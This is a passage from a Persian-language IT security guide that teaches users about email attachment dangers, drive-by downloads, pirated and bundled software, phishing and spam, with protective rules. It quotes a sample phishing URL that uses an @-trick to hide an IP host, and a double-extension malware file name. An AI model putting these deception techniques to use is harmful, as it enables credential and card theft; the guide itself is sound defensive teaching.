  .هدايت كند كه شايد براي شما يا فرزندانتان مناسب نباشد

ينـي  هاي الكترونيكي اينچن   كه نامه   توجه داشته باشيد افرادي   
اخيـراً تعـدادي    . توانند بسيار خـلاق باشـند       كنند مي   ارسال مي 

كـرد    نامة الكترونيكي آلوده به ويروس منتشر شد كه ادعا مي         
هاي امنيتي    از طرف مايكروسافت است و حاوي آخرين وصله       

باشد كـه در برابـر ويروسـها و كرمهـا از شـما محافظـت                  مي
هـايي هـستند كـه    ها شامل تـصاوير و نماد    اين نامه . نمايد  مي

رسـند و لـذا كـاربر را متقاعـد          قابل اطمينان و معتبر بنظر مي     
واضـح  . سازند كه ضمايم بايد به سرعت به اجرا در بياينـد            مي

ها را اجرا كنـد دچـار دردسـرهاي           است كه اگر كسي ضميمه    
  .اساسي خواهد شد

   پايگاه وب

انـدازي شـد صـفحات         راه ٥٦شبكة گستردة جهـاني   هنگاميكه  
اكنـون ايـن    . جاد شدند كه شامل متنها و تصاوير بودند       وبي اي 

هـاي    صفحات شامل محتويات بيشتري هستند، مثـل برنامـه        
ــايي كــه روي ماشــين شــما    شــده و اجــرا downloadپوي

اگر به مرورگر خود    ). ActiveX و   ،Javascript، Java(گردند    مي
هـا را بـدون بررسـي قابليـت اطمينـان             اجازه دهيد اين برنامه   

گاه وب مورد نظر اجرا كند، ممكن است برخي از مـوارد را             پاي
 بطـور  Javascriptبرنامة . برخلاف آنچه كه بايد، اجرا نمايد    

تواننـد بـسيار     مـي  ActiveX و   Javaكلي ايمن اسـت، امـا       
توان مرورگرهـا را طـوري تنظـيم    معمولاً مي. خطرناك باشند 

قبـل از اجـراي     ها اجازه اجرا ندهند و يا         كرد كه به اين برنامه    
  .آنها از كاربر اجازه بگيرند

Plug-in ها وAdd-onها  

پردازشگرهاي مثل  (هاي ديگر     مرورگرهاي وب و بسياري برنامه    
ها اجازة اجرا شدن      به برخي از برنامه   ) ٥٨گسترده  صفحات   و   ٥٧كلمه
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نمونـة رايـج آن برنامـة       . دهنـد   از داخل برنامة اصـلي را مـي       
"Adobe Acrobat Reader " كـه بـه شـما اجـازه     اسـت 

.  را مـشاهده كنيـد  PDFدهد هنگام مـرور وب، فايلهـاي     مي
ــا plug-inهنگاميكــه  شــوند  هــا نــصب مــيadd-onهــا ي

 ماننـد   -دهـد     توانند هر كاري كه برنامة اصلي انجام مـي          مي
خواندن از ديـسك و نوشـتن روي آن يـا اسـتفاده از ارتبـاط                

ني نـصب شـوند و       را انجام دهند، و لذا تنها بايد زمـا         -شبكه  
مورد استفاده قرار بگيرند كه مبدأ بطور كامل مـورد اطمينـان            

  .باشد

  هاي امنيتيحفره

عامـل يـا      هاي امنيتي اشكالاتي در بخشهايي از سيستم      حفره
ديگر اجزاي سيستم هستند كه به مهاجم اجازة دسترسـي بـه            

در سالهاي . دهند اطلاعات موجود در سيستم يا كنترل آنرا مي     
افزار بـا سـرعت قابـل قبـولي بـه           كنندگان نرم    اكثر توليد  اخير

شـود پاسـخ    مشكلات امنيتي كه در سيستمهايشان كشف مي      
هاي امنيتي را روي  بنابراين اگر بصورت منظم وصله . دهند  مي

توانيـد قبـل از انتـشار گـستردة            خود اعمال كنيد مـي      سيستم
  .اشكالات، راههاي نفوذ را بر مهاجمان ببنديد

  ٥٩اك فايلهااشتر

ــه ــتراك ب ــة    اش ــف در هم ــكال مختل ــل در اش ــذاري فاي گ
اشـتراك فايـل در ميـان كارمنـدان         . عاملها وجود دارد   سيستم

اگـر چنـدين دسـتگاه      . يك شركت كار بـسيار مفيـدي اسـت        
مختلف داريد، اشتراك فايل ميان آنها يك قابليت بسيار مورد          

ايـل از   با ايـن وجـود اگـر از روش اشـتراك ف           . نياز خواهد بود  
كنيـد و سياسـت امنيتـي مناسـبي           طريق اينترنت استفاده مي   

مثل استفاده از نام كاربري و رمز عبور مناسـب و محـدود             (براي اينكار   
نداريـد، آنگـاه هـر مهـاجمي در         ) روزرساني  بودن امتياز نوشتن و به    

.  اشـتراك بگـذارد     دنيا هم خواهد توانست فايلهاي شما را بـه        
 ديگران اجازه دهيد كـه روي ديـسكهاي         علاوه بر اين اگر به    

شما امكان نوشتن داشته باشند، آنگاه مهاجم خواهد توانـست          
  .رايانة شما را به شكل دلخواه خود تنظيم كند
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  ٦٠هاdownloadهدايت بوسيلة 

دهد كه به يك      زماني رخ مي  " هاdownloadهدايت بوسيله   "
 موجــود در HTMLكنيــد و برنامــه  پايگــاه وب مراجعــه مــي

 را  ActiveX يـا    Javaفحه بصورت خودكار يـك برنامـة        ص
كنــد و آن برنامــه نيــز يــك برنامــة ديگــر را  درخواســت مــي

downloadــرا اجــرا مــي مــي ــا طــوري  نمايــد، آن نمايــد، ي
. كند كه در آينده بتواند آنـرا بـه اجـرا در آورد              ريزي مي   برنامه

. تواند وارد نامـة الكترونيكـي گـردد          مي HTMLهمچنين كد   
 بـدون اينكـه از شـما        ActiveX يا   Javaهاي     به برنامه  اگر

اجازه بگيرند و يا حتي به شما اطلاع دهند اجازة نصب كردن            
 شوند و   downloadبرنامه داده باشيد، آنگاه خواهند توانست       

  .خواهند نصب نمايند چه را كه مي هر

  افزارهاي مسروقه اعتمادي به نرمبي

چنـدين  . اي نيست   مفهوم تازه افزار تجاري مسروقه      مفهوم نرم 
شـوند و   سال است كه ديسكهاي فشردة جعلـي فروختـه مـي          

 نيز  -شوند     ناميده مي  Warez كه   -هاي اينترنتي آنها      نسخه
از مدتها پيش اين سوء ظن وجود داشته كه اين          . رايج هستند 

توانند حاوي ويروس باشند، اما احتمـال         ديسكهاي فشرده مي  
افزار ممكـن     ين است كه اين نوع نرم     بيشتري كه وجود دارد ا    
اي باشد كه يك فرد غير مجاز را قادر است تعمداً حاوي وصله  

. سازد كه از طريق اينترنت به رايانة شما دسترسي پيدا كند    مي
افزارها به امتياز دسترسي راهبـري        از آنجا كه نصب اغلب نرم     

نيــاز دارد، ايــن روش فرصــت مناســبي بــراي نــصب شــدن  
  .آوردايد فراهم مي يي كه شما آنها را درخواست نكردهها برنامه

  افزارهاي سالم عملكردهاي پنهان نرم

 downloadافزارهـايي كـه       اگرچه ممكـن اسـت اكثـر نـرم        
افزار   كنيد سالم باشند، اما احتمال زيادي وجود دارد كه نرم           مي

download   هـاي    برنامـه ) افزارهـاي رايگـان     مخصوصاً نرم ( شده
اشـتراك  هاي    برنامه. ي دستگاه شما نصب نمايد    ديگري را رو  
ايـن  .  بسيار مـستعد چنـين وضـعيتي هـستند         ٦١متقابل فايلها 

باشـند كـه    هـاي ديگـري مـي       ها معمولاً شامل برنامـه      برنامه
هاي رديـابي و اعمـال تغييـر در         بسياري از آنها در نوع برنامه     

كننـد،    شوند و گردش وب شما را نظاره مي       بندي مي وب طبقه 
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آورند و فعاليتهاي شـما را بـه       واع تبليغات را به نمايش درمي     ان
هــا  برخــي از ايــن برنامــه. نماينــد مــدير خــود گــزارش مــي

آميز هستند، بدين صورت كه سعي دارند خود را پنهان            دسيسه
اي داراي    چنـين برنامـه   . كنند و تقريباً غير قابل حذف باشـند       

نيـد، آن ابـزار      است كه اگر آنـرا اجـرا ك        uninstallيك ابزار   
uninstall   كند، ولي برنامـة اصـلي هنـوز وجـود             را پاك مي

  .خواهد داشت و به اجرا در خواهد آمد

  ٦٢بدافزارهاي غيرماندگار
بسيار رايج شده   . شوند   شما اجرا نمي    همة بدافزارها روي رايانة   

افزارهـا يـك نامـة الكترونيكـي بفرسـتند و در آن       كه اين نرم 
غيب به مـشاهدة پايگـاه وب مـورد نظـر     كاربر را به نحوي تر  

روش سنتي حيله اين است كه نامـة الكترونيكـي         . خود نمايند 
دهد كه بدان علاقمند هـستيد امـا          به شما چيزي پيشنهاد مي    

شـده هـستيد   هنگاميكه مشغول مـشاهدة پايگـاه وب معرفـي    
كنند و شايد      به سيستم شما حمله مي     افزار مخرب   نرمتعدادي  

مـشابه  ( كـرده    download را روي سيـستم      افـزار   نوعي نـرم  
  .و يا عمليات ديگري انجام دهند) "هاdownloadهدايت بوسيله "

كنــد كــه  در روشــهاي جديــدتر، نامــة الكترونيكــي ادعــا مــي
يـــا ) پايگـــاه وب مزايـــده در اينترنـــت (eBayصورتحـــسابي از 

PayPal)      و يـا از طـرف     ) يك پايگاه وب براي پرداختهاي اينترنتي
رسد   نامة الكترونيكي بسيار مطمئن بنظر مي     . ما است بانك ش 

توانيـد    دهد كه در آنها مي       شما پايگاههاي وبي نشان مي      و به 
معمـولاً  . شمارة كارت اعتباري خـود را تـأمين اعتبـار نماييـد           

URL  كنند نيز بـا   ها معرفي ميهايي كه اين نامهURL  هـاي
ــشابهت دارد  ــسيار م ــر ب ــال . معتب ــوان مث ــURLبعن ي  واقع

PayPal آدرس ،www.paypal.com اســت، و URL ي
شود نيز ممكن اسـت       كه در نامه الكترونيكي نمايش داده مي      

با ايـن وجـود آنچـه كـه در صـفحه           . دقيقاً همان آدرس باشد   
 واقعي نيست كه براي دسترسي به       URLشود،    نشان داده مي  

 واقعي كه به    URL. آن صفحه مورد استفاده قرار گرفته است      
باشد و ممكن اسـت بـصورت       ره شد معمولاً پنهان مي    آن اشا 

  :زير باشد
http://www.paypal.com:user=3245329:transaction
=43293:code=4333033.33@218.5.79.162 
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 آشـنا نباشـد تـصور       URLكاريهـاي قالـب     اگر فردي با ريزه   
 اسـت و    www.paypal.comكند كه اين آدرس همان        مي

، اما در حقيقت نبايـد كاراكترهـايي        باشد  لذا قابل اطمينان مي   
اند را درنظر گرفت؛ زيرا اين        قرار گرفته @ كه قبل از علامت     

URL    معمـولاً  . شـود    متصل مي  218.5.79.162 به آدرس
ــز صــفحه  اي مــشابه صــفحة واقعــي  در ايــن پايگــاه وب ني

PayPal          خواهـد كـه وارد آن         قرار داده شـده و از شـما مـي
درواقع ايـن   . ي خود را وارد نماييد    شويد و شمارة كارت اعتبار    

شود، بلكـه متعلـق        متصل نمي  PayPalپايگاه وب هرگز به     
اعتباري شما و اطلاعـات       به فردي است كه سعي دارد كارت        

هـا در عمـل بـسيار       ايـن حيلـه   . مربوط به آنرا به سرقت ببرد     
هـاي   توجـه داشـته باشـيد كـه نامـه         . انـد آميـز بـوده     موفقيت

هاي سالم و مشروع باشند     ممكن است نامه  الكترونيكي مشابه   
  .اند ارسال شدهPayPalكه واقعاً از طرف 

شـود  نامة الكترونيكيِ رسمي كه براي اين منظور ارسـال مـي   
معمولاً شامل اطلاعات منحصر به فردي اسـت كـه از آدرس            

توان آنها را بدست آورد؛ اطلاعاتي      پست الكترونيكي شما نمي   
اگـر  . ار رقم آخر كارت اعتبـاري شـما       نظير نام كامل و يا چه     

  اين نامة الكترونيكي شما را به يك پايگاه وب هدايت كند، به           
ارتبـاط صـفحه    شما آدرس آنرا نيز خواهد داد، اما در آن هيچ           

همچنــين صــفحات وب مقــصد شــامل .  وجــود نــدارد٦٣وب
نويـسي    اطلاعاتي هـستند كـه هـيچ كلاهبـردار يـا هرزنامـه            

اگـر بـازهم در ايـن مـورد     . باشـد  ع داشته تواند از آن اطلا     نمي
توانيد از طريـق      ترديد داشتيد، براي كسب اطمينان بيشتر مي      

با شركت مربوطه تماس بگيريد و از       ) و نه نامة الكترونيكي   (تلفن  
  .اصالت نامة ارسالي مطمئن شويد
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  فصل ششم
  امنيت خدمات شبكه

  كليات
. ترنت هـستند  پست الكترونيكي و وب از كاربردهاي اصلي اين       

در اين فصل عملكرد ايـن خـدمات را بطـور جزئـي توضـيح               
دهيم و استفادة نامناسب از آنها كـه باعـث ايجـاد نـاامني                مي
سـيم،    مواردي مثل ارتباطات بـي    . كنيمگردد را بررسي مي     مي

اشتراك فايلها و قابليت ارسال پيام فوري از ديگر موضـوعات           
 در اين فصل به آنها      حساس مرتبط با امنيت شبكه هستند كه      

  .پرداخته خواهد شد

  اصول اوليه
افزارهـاي    بايد بصورت منظم بـراي نـرم        هاي امنيتي را      وصله

تواننـد    از آنجا كه مشكلات امنيتي مي     . روزرساني كنيد   خود به 
شـما آسـيب برسـانند، هنگاميكـه بـه            با روشهاي متعددي به     

. گردد  ميپذيري بيشتر     شويد احتمال آسيب    اينترنت متصل مي  
افزار كاربردي شما اشـكال امنيتـي         عامل يا نرم    اگر در سيستم  

وجود داشته باشد مطمئن باشيد مهاجمين از آن اطلاع دارنـد           
و با استفاده از آن روشهايي براي نفوذ به رايانة شـما طراحـي              

  .كنند مي

  :قانون چهارم
افزارهاي كاربردي مهم خـود را        عامل و نرم    سيستم

  .نيدروزرساني ك به
. ها نيست روزرساني الزاماً به معناي استفاده از آخرين نسخه         به

هـاي   دهندگان، اشكالات امنيتي نسخه بيشتر شركتها و توسعه 
توجه داشته باشيد كه اين مـسئله در        . كنند  رايج را برطرف مي   

ــرم ــراي آخــرين   مــورد ن افزارهــاي رايگــان معمــولاً فقــط ب
 معناسـت كـه اگـر       اين بـدان  . هاي موجود صادق است     نسخه
خواهيد از اشكالات امنيتي مصون بمانيد بايد بطور مـنظم            مي
  .افزار خود را به آخرين نسخة موجود آن ارتقا دهيد نرم

  پست الكترونيكي

  سير تكامل

)  سـال گذشـته    ۳۰ تـا    ۱۰(اگر تاريخچة شـبكه را بررسـي كنيـد          
كنيد كه در ابتدا از پست الكترونيكـي تنهـا بـراي     مشاهده مي 

اكثر سيستمهايي كـه از     . شد  سال پيامهاي متني استفاده مي    ار
كردند از روشهاي مختلفي براي       پست الكترونيكي استفاده مي   

روشهاي انتقال فايل تا حدودي     . گرفتند انتقال فايلها بهره مي   
البته در اوايل كار    . نامأنوس بودند و استفاده از آنها سخت بود       

 متخصصين فناوري بودند كه بيشتر كاربران پست الكترونيكي   
اين مسئله چندان مهـم نبـود، امـا هنگاميكـه اسـتفاده از آن               

تري يافت، بايـد بـراي اسـتفاده توسـط عمـوم            عموم گسترده 
  .گشتتر ميساده

 اوليه تنها بـراي انتقـال        الكترونيكي مشكل اين بود كه پست    
هـاي     طراحي شده بود و فايلهايي چون برنامه       ٦٤متنهاي ساده 

ر متن خود كاراكترهاي غيرچاپي داشتند كه در متون      اجرايي د 
حـل پيـشنهادي ايـن بـود كـه          راه. ساده قابل نمايش نبودنـد    
اي كدگذاري شوند كه بتوان آنهـا را        اطلاعات غيرچاپي بگونه  

جزئيات بيشتر در مورد كدگـذاري      (در متون ساده به نمايش درآورد       
ريافـت پيـام،    در اين روش بعـد از د      ).  ذكر شده است   ۱در ضميمة   

گردد و به شكل اصلي خود      شده كدگشايي مي   فايل كدگذاري 
  .آيددر مي

بوجود آمد تا با استفاده از آن بتوان        " ضميمه"بعد از آن مفهوم     
امـروزه ايـن روشِ     . انواع بيشتري از فايلها را كدگذاري نمـود       

  هنگاميكـه كـاربرد ضـميمه   . شـود   ناميده ميMIME٦٥جديد  
هاي پست الكترونيكي طوري      كرد، برنامه وسعت بيشتري پيدا    

. تغيير كردند كه بتواننـد ضـمايم را بطـور خودكـار بـاز كننـد               
توانست آنچه براي وي فرستاده       كنندة پيام مي  بنابراين دريافت 

  .شده است را بدون انجام فعاليت اضافه مشاهده نمايد

در همان زمان شبكه گـسترده جهـاني نيـز مرسـوم شـد و از                
HTML  بندي صفحات وب بهره گرفـت   قالب براي .HTML 

 شد كـه امكـان      MIMEتبديل به يكي از روشهاي كدگذاري       
ها،  تغيير فونت(كرد هاي الكترونيكي را فراهم ميبندي نامه  قالب

ــصاوير، و اشــاره ــه صــفحات وب رنگهــا، ت درحــال حاضــر ). گرهــا ب
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  راهنماي امنيت فناوري اطلاعات

 

٨٠ 

هـاي پـست الكترونيكـي بـصورت خودكـار دسـتورات              برنامه
HTMLكنند شده را نيز اجرا مي صفحات ارسال درون.  

  تأثير ارتقاي پست الكترونيكي

هـاي  بـه برنامـه   ) بنـدي امكانات قالـب  (افزوده شدن اين قابليتها     
كاربران از آن   . پست الكترونيكي، كاربرد آنها را مفيدتر ساخت      

با استفاده  . توانستند انواع فايلها را بسادگي تبادل كنند        پس مي 
تـري پيـدا      نگها و تصاوير، نامـه شـكل مطلـوب        ها، ر   از فونت 

بندي سادة آن بدون نياز به برنامـة پردازشـگر              كرد و قالب   مي
با اين وجود، اين ارتقا ابعاد منفـي        . پذيرفت  كلمات صورت مي  
  .نيز در پي داشت

همانطور كه قبلاً ذكر شد تا قبل از ايجاد اين پيشرفتها كسي            
ر مـستقيم ويروسـها و    از طريق پست الكترونيكي تحـت تـأثي       

شدة همچنين تا زمانيكه برنامة دريافت    . گرفت  كرمها قرار نمي  
كرديـد از خطـرات       موجود در ضمائم نامة دريافتي را اجرا نمي       

هـايي كـه دريافـت        اكنـون امـا برنامـه     . امنيتي مصون بوديـد   
توانند بصورت خودكار به اجرا درآيند كـه مفهـوم            كنيد مي   مي

هـا خواهنـد توانـست شـما را بـه           رنامهآن اين است كه اين ب     
پايگاه وبـي هـدايت كننـد كـه در آن اعمـال مخربـي مثـل                 

download علاوه بر  . پذيرد  افزارهاي مخرب صورت مي      نرم
تواننـد مهـاجم را بـه راهبـر            مي HTMLاين، دستورات ويژة    

رايانة شما تبديل كننـد كـه البتـه چگـونگي آن بـستگي بـه                
 رايانـة   HTMLمفـسر دسـتورات     اشكالات موجود در برنامـة      

  .شما دارد

  كننده استپست الكترونيكي گمراه

در بــسياري از مواقــع آدرس پــست الكترونيكــي كــه جلــوي 
اين قابليتي است   . گيرد معتبر نيست    قرار مي " فرستنده"عبارت  

ها آنرا براي سـوء اسـتفاده از سيـستم شـما              نويس  كه هرزنامه 
 را بررسي كنيـد     ٦٦سرآيند گاهي اوقات اگر كل     . برندبكار مي 

ممكن است بتوانيد متوجه شويد كه اين نامه واقعاً از كجا و از             
  .سوي چه كسي ارسال شده است

  توانيد از خود محافظت نماييد؟ چگونه مي
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  :قانون پنجم
برنامة پست الكترونيكي خود را طوري پيكربنـدي        

  .نماييد كه ضمائم را بصورت خودكار باز نكند
 شما را بداند يـا بتوانـد        پست الكترونيكي رس  هر فردي كه آد   

تواند براي شما نامة حاوي ضميمه ارسـال          آنرا حدس بزند مي   
اين ضميمه ممكـن اسـت مفيـد و قابـل اسـتفاده و يـا                . كند

تراوايي باشد كه بتواند آسـيبهاي جـدي بـه            ويروس، كرم، يا    
هــاي جديــد پــست  اكثــر برنامــه. سيــستم شــما وارد نمايــد

كنند، اما اگـر      ضمايم را قبل از اجازة شما باز نمي       الكترونيكي  
نمايـد،    اي باشد كه آنرا بصورت خودكار بـاز           برنامة شما بگونه  

  .بايد بتوانيد اين گزينه را غيرفعال كنيد

  :قانون ششم
قبل از باز كردن هر ضميمه به نام آن دقت كنيد تا            

  .مطمئن شويد كه يك برنامة اجرايي نيست
آنها معمولاً ضـمايم    .  بسيار زيرك هستند   نويسندگان ويروس 

. كننــد  ارســال مــيbudget.xls.vbsرا بــا نامهــايي چــون 
كنـد يـك فايـل         چيست تصور مـي    vbsداند    ناظري كه نمي  

Excel بــا نــام budget از ســوي مايكروســافت بــراي وي 
عامل پسوندهاي  خصوصاً در حالتي از تنظيمات كه سيستم      (ارسال شده   

؛ اما ايـن فايـل در حقيقـت         )دهد كاربر نمايش نمي   شده را به  شناخته
ــام آن Visual Basicيــك برنامــة اجرايــي   اســت كــه ن

budget.xls باشد   مي :xls        تنها بخشي از نام اين فايل است 
در بدترين حالات اين برنامه     .  ندارد Excelو هيچ ارتباطي با     

ممكن است بتواند تمامي ديسك سخت سيستم شما را پـاك           
  .نمايد

  :انون هفتمق
اي را كـه از جانـب افـراد ناشـناس             هرگز ضميمه 

برايتان ارسال شده است باز نكنيـد؛ مگـر اينكـه           
توانـد  اطمينان داشته باشيد كه آن نوع فايل نمـي        

  .حاوي كد مخرب باشد
 Microsoft Wordمثـل  ي يهـا  خاطر داشته باشيد برنامهه ب
 و )ة دادهصفحه گـسترد  (Microsoft Excel و) پردازشگر كلمات(

 Macroي مـشابه، داراي قابليـت اسـتفاده از    ها   برنامه تمامي
 PDFحتي فايلهاي   .  حاوي ويروس باشد   تواند  ميهستند كه   

اگرچه ايـن   (هاي مخرب باشند    توانند حاوي قطعه برنامه     نيز مي 
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افـزار كـاربردي    توانند خطرنـاك باشـند كـه بـا نـرم          فايلها تنها زماني مي   
Adobe Acrobat Professional   ــا ــا ب ــازكردن آنه ــوند و ب ــاز ش  ب

 كه كاربرد بيشتري ميـان  Adobe Acrobat Readerهايي چون  برنامه
با استفاده از راهنمـاي     ). افراد دارد خطر خاصي در پي نخواهد داشت       

توانيد بررسي كنيد كه چگونه       كاربري و يا صفحات راهنما مي     
ستم بنـدرت مـورد     خصوصاً آنهايي كه در سي    (توان بعضي قابليتها    مي

  .را از كار انداخت) گيرنداستفاده قرار مي

  :قانون هشتم
شـده و   هرگز ضمائم ارسالي از جانب افراد شناخته      

قابل اعتماد را نيز باز نكنيد؛ مگـر اينكـه اطمينـان            
داشته باشيد كه فـرد مـورد نظـر ايـن ضـمائم را              
بررسي كرده و با ملاحظـه كامـل برايتـان ارسـال            

  .نموده است
مكان دارد كه ماشين دوست شما ويروسي داشـته باشـد كـه             ا

بدون اطلاع وي فايلهاي آلـوده را بـه همـة افـرادي كـه در                
  .فهرست آدرسهاي وي هستند ارسال نمايد

  :قانون نهم
پيكربندي برنامة پست الكترونيكي خود را بررسي        

 را پردازش نكند و     ٦٧ تفنني HTMLكنيد تا فايلهاي    
  .هاي ديگر ارسال ننمايد  رايانهفايلهاي آلوده را به

اين بدان معناست كه ممكن است بعضي از قابليتهاي تزئيني          
هاي الكترونيكي را از دست بدهيد، ولي در عوض كنترل          نامه

 خـود بدسـت     پـست الكترونيكـي   بهتري روي عملكرد برنامة     
هـاي پـست      توجه داشته باشيد كه در برخـي از برنامـه         . آوريد

 حتـي لازم نيـست      HTMLجرا شدن كـد     الكترونيكي براي ا  
 است را باز نماييد و بـه نمـايش          HTMLپيامي كه حاوي كد     
 براي اجرا شدن كد     ٦٨نمايشصفحة پيش در آمدن آن پيام در      

توانـد حـاوي    عليرغم اينكه نامة الكترونيكي مـي     . كافي است 
 باشـد امـا بـسياري از مرورگرهـا و       HTMLهاي   قطعه برنامه 

 دهنــد بــه شــما اجــازه مــيرونيكــيپــست الكتهــاي  برنامــه
cookie ،Javascript و ،plug-in صــفحاتي كــه بعنــوان 

شـوند را غيرفعـال        دريافـت مـي     الكترونيكـي  بخشي از نامـة   
  .نماييد
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  :قانون دهم
 خود سـؤال كنيـد كـه آيـا قبـل از ارسـال               ISPاز  

هاي الكترونيكي، آنها را از نظر داشتن ويروس          نامه
  .كند يا خير يو تهديدات مشابه بررسي م

به دليل افزايش روزافـزون فعاليـت كرمهـا و ويروسـها اكثـر              
ISP    توجه داشته باشيد كـه نبايـد       . دهند  ها اينكار را انجام مي

 شما صد درصـد ثمـربخش       ISPسازي  توقع داشت كه غربال   
توانـد بـه تلاشـهاي      ها مـي  ISPباشد، اما عملكرد پيشگيرانة     

 شـما از مـسائل      ISP اگر. شما در برقراري امنيت كمك كند     
تـر بـه    امنيتي آگاه نيست بهتر است براي ارائه خـدمات امـن          
مـثلاً  . خودتان و نيز ديگر مشتريان بـا آنهـا همكـاري كنيـد            

توانيد يك نسخه از كتابي كه هم اكنون مـشغول مطالعـه              مي
  !آن هستيد را بصورت رايگان به آنها هديه نماييد

  هرزنامه
هاي الكترونيكي ناخواسته     نامه نامي است كه براي      ٦٩هرزنامه
هـاي تجـاري كـه از طـرف افـراد             رود، خصوصاً نامه  بكار مي 

 احتمالاً بر اسـاس ايـن بـاور كـه           -ناشناس و بصورت متعدد     
 -منـد خواهـد شـد    دريافت كننده به محصولات آنهـا علاقـه      

هـا بطـور      هرزنامـه در سـالهاي اخيـر تعـداد        . شوند  ارسال مي 
% ۵۰ بـيش از     ۲۰۰۳در سال   . ستچشمگيري افزايش يافته ا   

 هرزنامـه شـده در اينترنـت      هاي الكترونيكي تبادل    از كل نامه  
اكنون به ازاي دريافت هـر يـك          بسياري افراد هم  ! بوده است 

  .كنند  هرزنامه دريافت مي۱۰نامة معتبر حدود 

هــا عبارتهــايي نظيــر    هرزنامــه" موضــوع"اگــر در فيلــد  
"**SPAM** " توانستيم به آسـاني      يداشت، آنگاه م  وجود مي

كند  قوانين مصوب قضايي حكم مي    . تمامي آنها را حذف كنيم    
 ناخواسـته كـه از سـوي شـركتهاي           الكترونيكـي  كه هر نامة  

با ايـن وجـود     . تجاري ارسال شود پيگرد قانوني خواهد داشت      
هـا و نيـز تواناييهـاي محـدود           حجم وسـيع هرزنامـه    به دليل   

اي اين نوع قوانين چندان     نيروهاي انتظامي درحال حاضر اجر    
هركس بايد بدون خواندن هرزنامه و يـا ارسـال     . عملي نيست 

اخطار به يك سيـستمِ شـلوغِ دريافـت شـكايت، يـك روش               
  .منطقي براي تشخيص و حذف آن داشته باشد
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  هرزنامهآشنايي بيشتر با 

 در پـي دارد بايـد سـه    هرزنامـه براي آشنايي با مشكلاتي كه     
  :نكته را درنظر گرفت

  .آورند ها آدرس شما را بدست مي نويس هرزنامه چگونه )الف
  ).با جزئيات دقيق(شود  تلقي ميهرزنامهچه چيزي    )ب
  .كنند ، آنها را ارسال ميهرزنامهچرا نويسندگان    )ج

ــف ــر را انجــام داده باشــيد   )ال ــر يكــي از فعاليتهــاي زي  اگ
 موقعيت بدسـت آوردن آدرس شـما را         ها  نويس  هرزنامه
  :دارند

فهرسـت آدرس    يا امضاي خود را بـه يـك           نامه •
 . ارسال كرده باشيد٧٠عمومي

 پاسخ داده باشيد؛ مـثلاً خواسـته        هرزنامهبه يك    •
كننـدگان حـذف    باشيد كـه از فهرسـت دريافـت       

 .شويد

 . نامه فرستاده باشيد٧١هاي خبري گروهبراي  •

به هر دليلي در يـك فـرم وب ثبـت نـام كـرده                •
 وارد نمـوده باشـيد      باشيد و آدرس خود را در آن      

حتي اگر كاملاً مطمئن باشيد كـه بـه سـازمان معتبـري             (
 ).ايد مراجعه نموده

 روي آن   ٧٢شناسـايي  برنامـه اي كه يك      از رايانه  •
ايـن برنامـه    (درحال اجرا بوده استفاده كرده باشيد       

 نـام كـاربري    UNIXشناسايي در بسياري از سيـستمهاي       
 ).دهد ئه ميشما را به هر كس كه آنرا سؤال كند ارا

به مرورگر اجازه داده باشيد آدرس شما را ذخيره          •
 .كند

افزارهاي ارسال پيام فوري اسـتفاده كـرده        از نرم  •
 .باشيد

آدرس پستي خـود را در يـك صـفحة وب قـرار              •
داده باشيد؛ يعنـي اجـازه داده باشـيد كـه آدرس            

 . پستي شما براي همه قابل مشاهده باشد
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كرده باشيد و يـا      براي خود ثبت     ٧٣نام دامنه يك   •
آدرس خود را در گروه پشتيباني فني يك پايگاه         

 .وب قرار داده باشيد

از آدرسهاي پـستي قابـل حـدس زدن اسـتفاده            •
 .كرده باشيد

آدرس خود را روي يكي از سيستمهايي كه قبلاً          •
 .به آنها نفوذ شده است قرار داده باشيد

ل اگر هر يك از اين موارد در مـورد شـما صـدق كنـد احتمـا                
زيادي وجود خواهد داشت كه آدرس شما مورد سـوء اسـتفاده      

بـه  .  فروخته شـود هرزنامهقرار بگيرد و يا حتي به نويسندگان        
كنيد ايـن     عبارت ديگر اگر به هر دليلي از اينترنت استفاده مي         

 هـا   هرزنامـه كنندگان    امكان وجود دارد كه در فهرست دريافت      
  .قرار بگيريد

تعداد زياد و نامربوط    به دليل   جاري  هاي ت   نامهبرخي از      )ب
دانند كـه     شده هستند و همه مي      بودنشان كاملاً شناخته  

هاي ديگـر ايـن       در مورد بعضي نامه   . باشند مي هرزنامه
در برخي موارد ايـن بـستگي       . مسئله كمتر آشكار است   

كننده دارد كه يك نامة الكترونيكي دريـافتي   به دريافت 
ثالهاي زير بـه روشـن شـدن        م. را هرزنامه بداند يا خير    

  :بيشتر موضوع كمك خواهند كرد

آيا يك نامة الكترونيكي كه حاوي اطلاعـاتي در         •
مورد چگونگي مراقبت از اجـزاي صـورت اسـت          

بلــه، : رود؟ پاســخ  بــه شــمار مــيهرزنامــهيــك 
هرزنامه است؛ مگر اينكه شما جـراح پلاسـتيك         

ــه   ــن نام ــيد و اي ــيباش ــة الكترونيك ــك مقال  ي
 .اشد و نه يك آگهي تجاريدانشگاهي ب

آيا درخواست مقاله از شما براي يك گردهمـايي          •
دانشگاهي با موضـوعي مـبهم كـه بـه چنـدين            

 بشمار  هرزنامهفهرست آدرس فرستاده شده يك      
مگـر اينكـه بطـور اتفـاقي        . شايد: رود؟ پاسخ   مي

موضوع آن مورد علاقة شما باشد و مايل باشـيد          
 .به آن پاسخ دهيد

ــه   • ــه ب ــركتي ك ــه و   ش ــصولي فروخت ــما مح ش
اطلاعاتي را در مورد محصول بعدي خود بـراي         
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ــال    ــر ارس ــشتريهاي ديگ ــسياري از م ــما و ب ش
. خيـر : است؟ پاسـخ     فرستاده هرزنامهكند، آيا      مي

 شــما ISP در هرزنامــهســاز امــا برنامــة غربــال
ممكن است زمان زيادي را صرف شناسايي اين        

 ههرزنام ـاي  كند كه تشخيص دهد چنـين نامـه       
 . است يا خير

اگر يك نامة الكترونيكي حاوي مطلبي باشد كه         •
با تمام تعاريف يك هرزنامه تلقي شود، آيا حتمـاً          

بله؛ اما تنهـا درصـورتيكه      :  است؟ پاسخ  هرزنامه
اما مـثلاً اگـر ايـن       . اصل آن فرستاده شده باشد    

نامـــه از ســـوي يكـــي از خواننـــدگان بـــراي 
ن مثالهـاي   نويسندگان اين كتاب فرستاده و در آ      

هـا ذكـر شـده باشـد        جالبي در ارتباط با هرزنامه    
  .مطمئناً هرزنامه نيست و نبايد غربال شود

 ارســال هرزنامــه بــراي افــراد هــا نــويس هرزنامــهچــرا    )ج
! دهـد چون اينكار جواب مي   : ترين جواب   كنند؟ ساده   مي
 را مورد بررسي قرار دهيـد سـريعاً متوجـه           هرزنامهاگر  

هـا در مـورد       هرزنامهمعمولاً  . شويد  يك الگو در آن مي    
